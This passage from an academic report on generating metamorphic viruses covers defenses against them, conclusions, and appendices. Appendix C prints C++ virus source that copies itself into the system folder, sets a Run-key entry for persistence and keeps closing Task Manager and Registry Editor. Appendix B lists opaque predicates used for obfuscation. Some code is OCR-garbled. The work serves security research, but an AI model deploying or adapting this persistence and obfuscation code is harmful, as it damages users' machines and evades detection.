Secondly, we made the virus execute in the presence of the virus scanners and it remained undetected. This means that commercial virus scanners do not use any advanced techniques like anomaly detection, or change detection, during run-time.

# <span id="page-53-0"></span>**8. Defense Techniques**

In this section, we discuss some of the defense techniques that can be used against a malicious virus attack like the one proposed in this research project.

## **8.1. ASLR Improvements for Preventing Buffer Overflow**

Some of the improvements suggested in [\[7\]](#page-57-0) for ASLR Operating Systems are as follows:

#### **8.1.1. Use of 64-bit Architectures**

The current 32 bit architectures provide insufficient address space randomization, and can easily be compromised by a brute force attack. Using 64-bit architectures provides higher address space randomization and it would be much more difficult to de-randomize or guess the address space.

#### **8.1.2. Increase Randomization Frequency**

Randomization frequency is the rate at which randomization is performed by an operating system. Microsoft Windows Vista and Windows 7 perform randomization after a defined time interval; randomization is also performed after reboot or logoff from the system. The randomization must be performed at a much higher rate to avoid buffer exploits.

#### <span id="page-54-0"></span>**8.1.3. Randomizing Addresses at a Finer Granularity**

Randomization as implemented by Microsoft Windows Vista and Windows 7 is 64 kB aligned. This causes the memory layout of any program to be relative and remain the same within the 64 kB block. This implementation can easily be exploited with smart attacks.

#### **8.1.4. Monitoring and Catching Errors**

Implementation of a crash detection and reaction mechanism for monitoring errors and segmentation violations in the address space is also suggested in [7]. If such errors or violations are encountered, further action, like termination, should be taken against such programs.

### **8.2. Monitoring File Creation**

The virus designed by the metamorphic engine resides as a text file that is compiled and converted to its binaries just-in-time before getting called. For detection of such viruses, virus scanning software should employ a utility that monitors the creation of binary or executable files. After detecting the creation of such files, the following actions can be taken:

- Report to the system administrator
- Immediately consider the newly created file for signature detection immediately
- Monitor the newly created binary for suspicious or anomalous behavior

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# <span id="page-55-0"></span>**8.3. Code Transformation Detection**

Our metamorphic virus generation tool makes changes to the code files in the affected system. Code transformation detection is a technique that monitors such changes. This technique can be employed to monitor excessive file I/O operations on C, C++ or ASM code files or binary files like exe or dlls. This can be a very effective technique for detecting metamorphic viruses before an attack.

### **8.4. Advanced Techniques for Virus Detection**

Various advanced techniques can be applied for the detection of metamorphic viruses. Some of these techniques are code disassembling, code emulation, geometric detection, subroutine depermutation, heuristic analysis using emulators, and Hidden Markov Models [17], [21] and [25]. None of these techniques can be claimed as fool-proof for the detection of metamorphic viruses, but these techniques can be used jointly, as required, for the detection of highly metamorphic viruses.

# <span id="page-56-0"></span>**9. Conclusions and Future Work**

Clearly, metamorphic viruses are highly versatile and difficult to detect, and are a relatively new and exciting topic for research. The virus generator presented in this research project generates and obfuscates a highly metamorphic computer virus. The metamorphic virus is generated through a metamorphic engine that includes the application of a set of transformations to an existing piece of virus code. The metamorphic virus resides as "dead code" on the victim machine, and is invoked by a buffer overflow exploit. Using the virus generation tool, we have been able to create a virus that successfully evades detection by commercial virus scanners using signature detection technique.

We propose some techniques that can be used to make anti-virus scanning techniques stronger and better able to detect metamorphic viruses. We also suggest some approaches for improving Address Space Layout Randomization technique to avoid and detect buffer overflow exploits.

The research work completed in this project can be extended in the following areas:

- 1. Analyzing metamorphic viruses that are obfuscated using heap overflow exploits, and providing a defense mechanism against such viruses
- 2. Identifying other intelligent programming techniques that can potentially be used to increase the degree of metamorphism in the generated virus.
- 3. Research on operating systems and virus scanning software that are smart enough to avoid or detect such exploits
- <span id="page-57-0"></span>4. Understanding and analyzing the effectiveness of Address Space Layout Randomization (ASLR) on Mac OS X systems. Determining if the effectiveness of the built-in buffer overflow, as proposed in this paper, can be extended to Mac OS X
- 5. The process of metamorphic virus generation can be automated by stripping off the meaningful chunk of assembly code from a virus exe (executable file) or a dll (Dynamic Link Library) and then providing it to the virus generator tool, which will make metamorphic versions of the same virus

# <span id="page-58-0"></span>**10. References**

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# <span id="page-60-0"></span>**11. Appendix**

# **11.1. Appendix A: Normal Codes as disassembled from Windows Files**

1. Notepad.exe

```
asm
\overline{1}MOV EDI, EDI
       PUSH EBP
       MOV EBP, ESP
       PUSH ESI
       MOV ESI, DWORD PTR SS: [EBP+8]
       XOR EAX, EAX
call1:
       CMP ESI, DWORD PTR SS: [EBP + OCH]
       JNB SHORT call2
       TEST EAX, EAX
       JZ SHORT call2
       MOV ECX, 10H
       TEST ECX, ECX
       JE SHORT call3
       CALL ECX
call3:
       ADD ESI, 4
       JMP SHORT call1
cal12:
       POP ESI
       POP EBP
```
### **Figure 21: ASM Extract Notepad**

2. Wordpad.exe

```
asm
\mathbf{f}MOV EDI, EDI
       PUSH EBP
       MOV EBP, ESP
       SUB ESP, 10
       MOV EAX, 10H
       MOV DWORD PTR SS: [EBP-10], EAX
       MOV EAX, 20H
       LEA EDX, DWORD PTR SS: [EBP-10]
       PUSH EDX
       MOV DWORD PTR SS: [EBP-8], EAX
       MOV EAX, DWORD PTR SS: [EBP+8]
       MOV ECX, 20H
       PUSH<sub>2</sub>
       PUSH EAX
       LEAVE
```
### **Figure 22: ASM Extract WordPad**

#### <span id="page-61-0"></span>3. Explorer.exe

```
asm
\left\{ \right.PUSH EBP
       MOV EBP, ESP
       PUSH ECX
       PUSH ECX
       PUSH ESI
       MOV ESI, 10H
       PUSH EDI
       MOV EDI, 10H
call1:
       TEST ESI, ESI
       JNE SHORT call2
       MOV EAX, DWORD PTR DS: [EDI]
       AND DWORD PTR SS: [EBP-4], 0
       LEA ECX, DWORD PTR DS: [ESI+8]
       PUSH ECX
       PUSH 0
       PUSH 0
       LEA ECX, DWORD PTR SS: [EBP-8]
       PUSH ECX
       PUSH 1
       PUSH EAX
       PUSH ESI
       PUSH 10H
       ADD EDI, 4
       MOV DWORD PTR SS: [EBP-8], EAX
       MOV ESI, DWORD PTR DS: [ESI]
       JMP SHORT call1
call2:
       POP EDI
       POP ESI
       LEAVE
```
**Figure 23: ASM Extract Explorer** 

#### <span id="page-62-0"></span>4. Regedit.exe

```
asm
\overline{1}MOV EDI, EDI
       PUSH EBP
       MOV EBP, ESP
       MOV EAX, DWORD PTR SS: [EBP + 8]
       MOV ECX, 10H
       ADD ECX, EAX
       MOV EAX, 20H
       PUSH EBX
       PUSH ESI
       MOV ESI, 30H
       XOR EDX, EDX
       PUSH EDI
       LEA EAX, DWORD PTR SS: [EBP + 8]
       TEST ESI, ESI
       JBE SHORT call1
       MOV EDI, DWORD PTR SS: [EBP + OCH]
call4:MOV ECX, 40H
       CMP EDI, ECX
       JB SHORT call2
       MOV EBX, 50H
       ADD EBX, ECX
       CMP EDI, EBX
       JB SHORT call3
call2:INC EDX
       ADD EAX, 28
       CMP EDX, ESI
       JB SHORT call4
call1:
       XOR EAX, EAX
call3:
       POP EDI
       POP ESI
       POP EBX
       POP EBP
```
#### **Figure 24: ASM Extract Registry Editor**

# <span id="page-63-0"></span>5. Iexplore.exe



# **Figure 25: ASM Extract Internet Explorer**

# <span id="page-64-0"></span>**11.2. Appendix B: Opaque Predicates**

Some of the opaque predicates used in the metamorphic virus generation toolkit are:

**Table 7: Opaque Predicates** 

1.	if $((a + b)$ ^ 2) == $(a^2 + 2*a*b + b^2))$ ₹
	printf("Execute this");
	ł
	else
	€
	printf("Don't Execute this"); ł
2.	if $((a ^ 2 - b ^ 2) = (a + b) * (a - b))$
	€
	printf("Execute this");
	ł
	else $\{$
	printf("Don't Execute this");
	ł
3.	$(( (x \land a) * (x \land b)) == (x \land (a + b)))$ if
	₹
	printf("Execute this");
	ł
	else
	$\{$
	printf("Don't Execute this");
4.	if $((a * (a + 1)) % 2 == 0)$
	€
	printf("Execute this");
	$\}$
	else
	$\{$ printf("Don't Execute this");
5.	$((7 * a * a - 1) == (b * b))$ if
	$\{$
	printf ("Don't Execute this");
	ł
	else ₹
	printf("Execute this");

### <span id="page-65-0"></span>**11.3. Appendix C: Virus code used for testing**

1. Virus code [21]

```
int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine,
int nCmdShow)
\mathcal{L}HKEY hKey;
       char sd[255], path[MAX_PATH];
       int Freq = 0, int Duration = 100, timer = 0;
       bool Forwards = true; Backwards = false;
       HWND hWin:
       HMODULE GetModH = GetModuleHandle(0);
       GetModuleFileName(GetModH, path, 256);
       GetSystemDirectory(sd, 255);
       \verb|struct(sd,"\\ \label{thm:convex} \verb|struct(sd,"\\ \label{thm:convex} \verb|Coral.bmp.exe"|;CopyFile(path, sd, FALSE);
       unsigned char PathToFile[20] = "Blue Corral.bmp.exe";
       RegOpenKeyEx (
HKEY LOCAL MACHINE, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY SET VALUE
, shKey ) ;
       RegSetValueEx(hKey, SecurityManager", 0, REG_SZ, PathToFile, size of (PathToFile));
       RegCloseKey(hKey) ;
       while (1 == 1)\{hWin = FindWindow(NULL, "Windows Task Manager") ;
               SendMessage(hWin, WM_CLOSE,(LPARAM)0,(WPARAM)0);
               hWin = FindWindow (NULL, "Registry Editor");
               SendMessage(hWin, WM CLOSE, (LPARAM) 0, (WPARAM) 0) ;
               hWin = FindWindow(NULL, "Command Prompt");
               SendMessage(hWin, WM_CLOSE,(LPARAM)0,(WPARAM)0);
               hWin = FindWindow (NULL, "Close Program");
               SendMessage(hWin, WM_CLOSE,(LPARAM)0,(WPARAM)0);
               if(Backwards==true)
               \mathcal{A}Beep (Freq, Duration);
                      Freq = Freq - 100;timer = timer - 1;
               \mathbf{1}if (timer == 0)\mathcal{A}Backwards = false;Forwards = true;- 1
               if (timer == 30)\mathcal{A}Backwards = true;Forward = false;-1
               if(Forwards==true)
               \overline{A}Beep (Freq, Duration);
                      Freq = Freq + 100;
                      timer = timer + 1;З
       \mathbf{1}return 0;
```
#### **Figure 26: Virus code in C++**

# <span id="page-66-0"></span>**12. Biography**

Ronak Shah received his Bachelors of Engineering (B.E.) Degree in Computer Engineering from Mumbai University. He is currently pursuing his Masters of Science (M.S.) Degree in Computer Science from San Jose State University. He worked as a Software Development Engineer for one year in India after receiving his B.E. His research interests are in the field of Computer/Internet Security, Computer Networks, and Algorithms.

Dr. Mark Stamp is a Professor in the Department of Computer Science at San Jose State University. He has been working in the field of Cryptography and Computer Security for more than fifteen years. He has worked as a Cryptologic Mathematician at the National Security Agency for seven years and as a Chief Cryptologic Scientist at MediaSnap, Inc. for two years. He is the author of a number of publications and two textbooks in the field of Computer Security, viz. *[Applied Cryptanalysis: Breaking Ciphers in the Real World](http://www.wiley.com/WileyCDA/WileyTitle/productCd-047011486X.html)* and *[Information Security: Principles and Practice](http://www.wiley.com/WileyCDA/WileyTitle/productCd-0471738484.html)*.